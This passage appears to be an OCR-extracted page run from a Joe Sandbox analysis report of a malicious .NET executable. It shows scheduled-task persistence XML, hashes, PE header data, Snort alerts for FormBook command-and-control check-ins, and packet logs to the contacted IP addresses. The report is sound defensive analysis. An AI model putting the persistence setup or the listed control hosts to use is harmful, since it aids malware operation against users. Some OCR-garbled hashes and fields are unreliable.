10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>computer\user</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. ~</RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>computer\user</Userld>.. ~ <LogonType>InteractiveToken</LogonType>.. = <RunLevel>LeastPrivilege</RunLevel>.. </Pri
ncipal>.. </Principals>.. <Settings>.. <MultiplelnstancesPolicy>StopExisting</MultiplelnstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatte
ries>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. ~<AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Joe Sandbox
View:

Reputation:

Preview:

C:\Users\user\Desktop\JOOmHlagw8.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

582656

7.865649202994036

false

12288:fKNVSrQjhTHD1L3YhRr/3DRaRDt2eM2pB81ley:8VMyzDJYhRrFadt2cl
92FF500A693078263908C83B4B290481
FA5DCC6012C71490EFDF320791A90C7A18958A95
767B1B32D4AC4CEC73967590CA5B28C3E0F4D709C0773E3F4021774F15A2483A

8478C8B88309D55C83AB4A5F3AF0367F19BB02A2B62DB4A790FF7E867AAOFFE422CD4D177BBD3AD25D19CD0049ED196EC3910A72C7E3935FED0991CC783FO0L
D

true
e Antivirus: Joe Sandbox ML, Detection: 100%

e Filename: Order_00009.xIsx, Detection: malicious, Browse

low

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

Copyright null 2021

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.865649202994036

e Win32 Executable (generic) Net Framework
(10011505/4) 49.80%

e Win32 Executable (generic) a (10002005/4)

49.75%

Generic CIL Executable (.NET, Mono, etc.)

(73296/58) 0.36%

e Windows Screen Saver (13104/52) 0.07%

e Generic Win/DOS Executable (2004/3) 0.01%

JOOmHIlagw8.exe

582656

92ff500a2693078263908c83b4b290481
fa5dcc6012c71490efdf320791a90c7a18958a95

767b1b32d4ac4cec73967590ca5h28c3e0f4d709c0773e
3f4021774f15a2483a

8478c8b88309d55c83ab4a5f3af0367f19bb02a2b62db4a
790ff7e867aa0ffe422cd4d177bbd3ad25d19cd0049ed19
6ec3910a72c7e3935fed0991cc783f0d1d

12288:fKNVSrQjhTHD1L3YhRr/3DRaRDt2eM2pB81ley:
8VMyzDJYhRrFadt2cl
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https://view.joesandbox.com/analysis/254713/html/none

General

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Copyright null 2021

10d0c4cceccaf000

0x48d896

text

false

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
0xB8CBCE96A [Sat Aug 27 21:58:02 2044 UTC]

v4.0.30319
4
0
4
0
4
0

f34d5f2d4577ed6d9ceec516¢c1f5a744

Page 25 of 47



Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Copyright null 2021
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address Virtual Size Raw Size
text 0x2000 0x8b89c 0x8ba00
.rsrc 0x8e000 0x2414 0x2600
.reloc 0x92000 Ooxc 0x200
Resources

Name RVA

RT_ICON 0x8e130
RT_GROUP_ICON 0x8fed0
RT_VERSION 0x8feed
RT_MANIFEST 0x90228
Imports

DLL

mscoree.dll

Version Infos

Description
Translation
LegalCopyright
Assembly Version
InternalName
FileVersion
CompanyName
LegalTrademarks
Comments
ProductName
ProductVersion

FileDescription

Copyright null 2021

Virtual Address

0x0
0x8d844
0x8e000
0x0

0x0
0x92000
0x8d828
0x0

0x0

0x0

0x0

0x0
0x2000
0x0
0x2008
0x0

Xored PE

False

False

False

Size

0x1d9d

0x14
0x344

Oxlea

ZLIB Complexity
0.909556498993

0.834703947368

0.044921875

Type

Virtual Size

0x0
0ox4f
0x2414
0x0
0x0
Oxc
Oxlc
0x0
0x0
0x0
0x0
0x0
0x8
0x0
0x48
0x0

File Type

data

data

data

Entropy
7.87325624696

7.55839621208

0.101910425663

PNG image data, 256 x 256, 8-bit/color RGBA, non-

interlaced
data

data

XML 1.0 document, UTF-8 Unicode (with BOM) text, with

CRLF line terminators

Import

_CorExeMain

Data

0x0000 0x04b0
Copyright 2019
1.0.0.0

.exe

1.0.0.0

MultiUserParentalControl

1.0.0.0

MultiUserParentalControl

Is in Section

text

.rsrc

.reloc

text

text

text

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D

ATA,

IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Language

Country
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Description

OriginalFilename

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
01/13/21- ICMP 402
21:04:29.053590

01/13/21- TCP 2031453
21:04:33.449709

01/13/21- TCP 2031449
21:04:33.449709

01/13/21- TCP 2031412
21:04:33.449709

01/13/21- TCP 2016803
21:04:49.742833

01/13/21- TCP 2031453
21:04:54.974946

01/13/21- TCP 2031449
21:04:54.974946

01/13/21- TCP 2031412
21:04:54.974946

01/13/21- TCP 1201
21:05:00.772898

01/13/21- TCP 2031453
21:05:11.046991

01/13/21- TCP 2031449
21:05:11.046991

01/13/21- TCP 2031412
21:05:11.046991

01/13/21- TCP 1201
21:05:11.186150

01/13/21- TCP 2031453
21:05:22.236081

01/13/21- TCP 2031449
21:05:22.236081

01/13/21- TCP 2031412
21:05:22.236081

01/13/21- TCP 2031453
21:05:27.905106

01/13/21- TCP 2031449
21:05:27.905106

01/13/21- TCP 2031412
21:05:27.905106

01/13/21- ICMP 402
21:05:58.107974

01/13/21- ICMP 402
21:05:59.126867

01/13/21- TCP 2031453
21:06:02.573239

01/13/21- TCP 2031449
21:06:02.573239

01/13/21- TCP 2031412
21:06:02.573239

01/13/21- TCP 2016803
21:06:18.245893

01/13/21- TCP 2031453
21:06:23.388032

01/13/21- TCP 2031449
21:06:23.388032

01/13/21- TCP 2031412
21:06:23.388032

Network Port Distribution

Copyright null 2021

Data

.exe

Message

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN Known Sinkhole Response Header

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN Known Sinkhole Response Header

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source

Port

49742

49742

49742

80

49756

49756

49756

80

49760

49760

49760

80

49761

49761

49761

49765

49765

49765

49769

49769

49769

80

49772

49772

49772

Dest

Port

80

80

80

49755

80

80

80

49758

80

80

80

49760

80

80

80

80

80

80

80

80

80

49771

80

80

80

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

45.77.226.209

192.168.2.3

192.168.2.3

192.168.2.3

34.102.136.180

192.168.2.3

192.168.2.3

192.168.2.3

34.102.136.180

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

45.77.226.209

192.168.2.3

192.168.2.3

192.168.2.3

Dest IP
8.8.8.8

173.234.175.134

173.234.175.134

173.234.175.134

192.168.2.3

142.44.212.169

142.44.212.169

142.44.212.169

192.168.2.3

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.3

192.155.166.181

192.155.166.181

192.155.166.181

205.134.254.189

205.134.254.189

205.134.254.189

8.8.8.8

8.8.8.8

173.234.175.134

173.234.175.134

173.234.175.134

192.168.2.3

142.44.212.169

142.44.212.169

142.44.212.169
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Total Packets: 97

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 13, 2021 21:04:33.256691933 CET 49742 80 192.168.2.3 173.234.175.134
Jan 13, 2021 21:04:33.448252916 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:33.449577093 CET 49742 80 192.168.2.3 173.234.175.134
Jan 13, 2021 21:04:33.449708939 CET 49742 80 192.168.2.3 173.234.175.134
Jan 13, 2021 21:04:33.642399073 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:33.642426014 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:33.642443895 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:33.642457962 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:33.642595053 CET 49742 80 192.168.2.3 173.234.175.134
Jan 13, 2021 21:04:33.642644882 CET 49742 80 192.168.2.3 173.234.175.134
Jan 13, 2021 21:04:33.833941936 CET 80 49742 173.234.175.134 192.168.2.3
Jan 13, 2021 21:04:49.625839949 CET 49755 80 192.168.2.3 45.77.226.209
Jan 13, 2021 21:04:49.676454067 CET 80 49755 45.77.226.209 192.168.2.3
Jan 13, 2021 21:04:49.678884029 CET 49755 80 192.168.2.3 45.77.226.209
Jan 13, 2021 21:04:49.690268040 CET 49755 80 192.168.2.3 45.77.226.209
Jan 13, 2021 21:04:49.740910053 CET 80 49755 45.77.226.209 192.168.2.3
Jan 13, 2021 21:04:49.742832899 CET 80 49755 45.77.226.209 192.168.2.3
Jan 13, 2021 21:04:49.742876053 CET 80 49755 45.77.226.209 192.168.2.3
Jan 13, 2021 21:04:49.743067026 CET 49755 80 192.168.2.3 45.77.226.209
Jan 13, 2021 21:04:49.743123055 CET 49755 80 192.168.2.3 45.77.226.209
Jan 13, 2021 21:04:49.793448925 CET 80 49755 45.77.226.209 192.168.2.3
Jan 13, 2021 21:04:54.838032007 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:04:54.974657059 CET 80 49756 142.44.212.169 192.168.2.3
Jan 13, 2021 21:04:54.974843979 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:04:54.974946022 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:04:55.111336946 CET 80 49756 142.44.212.169 192.168.2.3
Jan 13, 2021 21:04:55.482732058 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:04:55.659183025 CET 80 49756 142.44.212.169 192.168.2.3
Jan 13, 2021 21:04:55.720679045 CET 80 49756 142.44.212.169 192.168.2.3
Jan 13, 2021 21:04:55.720735073 CET 80 49756 142.44.212.169 192.168.2.3
Jan 13, 2021 21:04:55.720894098 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:04:55.720959902 CET 49756 80 192.168.2.3 142.44.212.169
Jan 13, 2021 21:05:00.593950987 CET 49758 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:00.633949041 CET 80 49758 34.102.136.180 192.168.2.3
Jan 13, 2021 21:05:00.634141922 CET 49758 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:00.634299994 CET 49758 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:00.674240112 CET 80 49758 34.102.136.180 192.168.2.3
Jan 13, 2021 21:05:00.772897959 CET 80 49758 34.102.136.180 192.168.2.3
Jan 13, 2021 21:05:00.772942066 CET 80 49758 34.102.136.180 192.168.2.3
Jan 13, 2021 21:05:00.773113012 CET 49758 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:00.773164988 CET 49758 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:00.813136101 CET 80 49758 34.102.136.180 192.168.2.3
Jan 13, 2021 21:05:05.852662086 CET 49759 80 192.168.2.3 192.0.78.208
Jan 13, 2021 21:05:05.892638922 CET 80 49759 192.0.78.208 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 13, 2021 21:05:05.892823935 CET 49759 80 192.168.2.3 192.0.78.208
Jan 13, 2021 21:05:05.893126011 CET 49759 80 192.168.2.3 192.0.78.208
Jan 13, 2021 21:05:05.933036089 CET 80 49759 192.0.78.208 192.168.2.3

Jan 13, 2021 21:05:05.933063984 CET 80 49759 192.0.78.208 192.168.2.3

Jan 13, 2021 21:05:05.933075905 CET 80 49759 192.0.78.208 192.168.2.3

Jan 13, 2021 21:05:05.933339119 CET 49759 80 192.168.2.3 192.0.78.208
Jan 13, 2021 21:05:05.933398008 CET 49759 80 192.168.2.3 192.0.78.208
Jan 13, 2021 21:05:05.973464966 CET 80 49759 192.0.78.208 192.168.2.3

Jan 13, 2021 21:05:11.006270885 CET 49760 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:11.046574116 CET 80 49760 34.102.136.180 192.168.2.3

Jan 13, 2021 21:05:11.046734095 CET 49760 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:11.046991110 CET 49760 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:11.087112904 CET 80 49760 34.102.136.180 192.168.2.3

Jan 13, 2021 21:05:11.186150074 CET 80 49760 34.102.136.180 192.168.2.3

Jan 13, 2021 21:05:11.186450005 CET 49760 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:11.186574936 CET 80 49760 34.102.136.180 192.168.2.3

Jan 13, 2021 21:05:11.186657906 CET 49760 80 192.168.2.3 34.102.136.180
Jan 13, 2021 21:05:11.226603985 CET 80 49760 34.102.136.180 192.168.2.3

Jan 13, 2021 21:05:21.584244013 CET 49761 80 192.168.2.3 192.155.166.181
Jan 13, 2021 21:05:21.804228067 CET 80 49761 192.155.166.181 192.168.2.3

Jan 13, 2021 21:05:21.805689096 CET 49761 80 192.168.2.3 192.155.166.181
Jan 13, 2021 21:05:22.236080885 CET 49761 80 192.168.2.3 192.155.166.181
Jan 13, 2021 21:05:22.456119061 CET 80 49761 192.155.166.181 192.168.2.3

Jan 13, 2021 21:05:22.461457014 CET 80 49761 192.155.166.181 192.168.2.3

Jan 13, 2021 21:05:22.461481094 CET 80 49761 192.155.166.181 192.168.2.3

Jan 13, 2021 21:05:22.461760044 CET 49761 80 192.168.2.3 192.155.166.181
Jan 13, 2021 21:05:22.462353945 CET 49761 80 192.168.2.3 192.155.166.181
Jan 13, 2021 21:05:22.682168961 CET 80 49761 192.155.166.181 192.168.2.3

Jan 13, 2021 21:05:27.708574057 CET 49765 80 192.168.2.3 205.134.254.189
Jan 13, 2021 21:05:27.904743910 CET 80 49765 205.134.254.189 192.168.2.3

Jan 13, 2021 21:05:27.904849052 CET 49765 80 192.168.2.3 205.134.254.189
Jan 13, 2021 21:05:27.905106068 CET 49765 80 192.168.2.3 205.134.254.189
Jan 13, 2021 21:05:28.101125002 CET 80 49765 205.134.254.189 192.168.2.3

Jan 13, 2021 21:05:28.102826118 CET 80 49765 205.134.254.189 192.168.2.3

Jan 13, 2021 21:05:28.102847099 CET 80 49765 205.134.254.189 192.168.2.3

Jan 13, 2021 21:05:28.103200912 CET 49765 80 192.168.2.3 205.134.254.189
Jan 13, 2021 21:05:28.103319883 CET 49765 80 192.168.2.3 205.134.254.189
Jan 13, 2021 21:05:28.299376011 CET 80 49765 205.134.254.189 192.168.2.3

Jan 13, 2021 21:05:38.449443102 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:38.634325981 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:38.638170004 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:38.638372898 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:38.823539019 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:38.823584080 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:38.823596001 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:38.824080944 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:38.824233055 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:38.833403111 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:38.833514929 CET 49766 80 192.168.2.3 146.148.193.212
Jan 13, 2021 21:05:39.009578943 CET 80 49766 146.148.193.212 192.168.2.3

Jan 13, 2021 21:05:44.224528074 CET 49767 80 192.168.2.3 23.105.124.225
Jan 13, 2021 21:05:44.418430090 CET 80 49767 23.105.124.225 192.168.2.3

Jan 13, 2021 21:05:44.419608116 CET 49767 80 192.168.2.3 23.105.124.225
Jan 13, 2021 21:05:44.419821978 CET 49767 80 192.168.2.3 23.105.124.225
Jan 13, 2021 21:05:44.658860922 CET 80 49767 23.105.124.225 192.168.2.3

Jan 13, 2021 21:05:44.924233913 CET 49767 80 192.168.2.3 23.105.124.225

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 13, 2021 21:03:32.107090950 CET 65110 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:32.155076981 CET 53 65110 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:33.403271914 CET 58361 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:33.451320887 CET 53 58361 8.8.8.8 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 13, 2021 21:03:34.588206053 CET 63492 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:34.640042067 CET 53 63492 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:35.807763100 CET 60831 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:35.866738081 CET 53 60831 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:36.795548916 CET 60100 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:36.847487926 CET 53 60100 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:38.062551022 CET 53195 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:38.110658884 CET 53 53195 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:39.532286882 CET 50141 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:39.582921982 CET 53 50141 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:40.645405054 CET 53023 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:40.693166971 CET 53 53023 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:41.567195892 CET 49563 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:41.615120888 CET 53 49563 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:42.791860104 CET 51352 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:42.839807034 CET 53 51352 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:44.707129002 CET 59349 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:44.755547047 CET 53 59349 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:45.937158108 CET 57084 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:45.985148907 CET 53 57084 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:47.207340002 CET 58823 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:47.255136967 CET 53 58823 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:48.196248055 CET 57568 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:48.245688915 CET 53 57568 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:50.160382986 CET 50540 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:50.214705944 CET 53 50540 8.8.8.8 192.168.2.3
Jan 13, 2021 21:03:56.003659010 CET 54366 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:03:56.082838058 CET 53 54366 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:01.437932014 CET 53034 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:01.485913992 CET 53 53034 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:15.029310942 CET 57762 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:15.086632013 CET 53 57762 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:19.399761915 CET 55435 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:19.448080063 CET 53 55435 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:20.814989090 CET 50713 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:20.875763893 CET 53 50713 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:26.231012106 CET 56132 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:26.644450903 CET 58987 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:26.702014923 CET 53 58987 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:27.245870113 CET 56132 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:28.032321930 CET 53 56132 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:29.053430080 CET 53 56132 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:33.048207998 CET 56579 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:33.252438068 CET 53 56579 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:36.666981936 CET 60633 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:36.794030905 CET 53 60633 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:37.342623949 CET 61292 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:37.422462940 CET 53 61292 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:37.988605022 CET 63619 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:38.044975042 CET 53 63619 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:38.510776043 CET 64938 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:38.567425966 CET 53 64938 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:38.657728910 CET 61946 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:39.050699949 CET 53 61946 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:39.057087898 CET 64910 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:39.113562107 CET 53 64910 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:39.671612024 CET 52123 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:39.731230974 CET 53 52123 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:40.546530008 CET 56130 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:40.605827093 CET 53 56130 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:40.704773903 CET 56338 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:40.768801928 CET 53 56338 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:41.428122997 CET 59420 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:41.484390974 CET 53 59420 8.8.8.8 192.168.2.3
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Jan 13, 2021 21:04:43.052429914 CET 58784 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:43.100449085 CET 53 58784 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:43.597229958 CET 63978 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:43.653685093 CET 53 63978 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:44.082952976 CET 62938 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:44.243922949 CET 53 62938 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:49.551908016 CET 55708 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:49.624840021 CET 53 55708 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:54.751828909 CET 56803 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:54.836445093 CET 53 56803 8.8.8.8 192.168.2.3
Jan 13, 2021 21:04:59.489957094 CET 57145 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:04:59.546482086 CET 53 57145 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:00.530175924 CET 55359 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:00.592801094 CET 53 55359 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:05.785716057 CET 58306 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:05.850408077 CET 53 58306 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:10.945827961 CET 64124 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:11.003951073 CET 53 64124 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:21.233468056 CET 49361 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:21.578461885 CET 53 49361 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:24.494661093 CET 63150 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:25.204083920 CET 53279 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:25.255053043 CET 53 53279 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:25.516793013 CET 63150 53 192.168.2.3 8.8.8.8
Jan 13, 2021 21:05:25.564650059 CET 53 63150 8.8.8.8 192.168.2.3
Jan 13, 2021 21:05:27.478451014 CET 56881 53 192.168.2.3 8.8.8.8
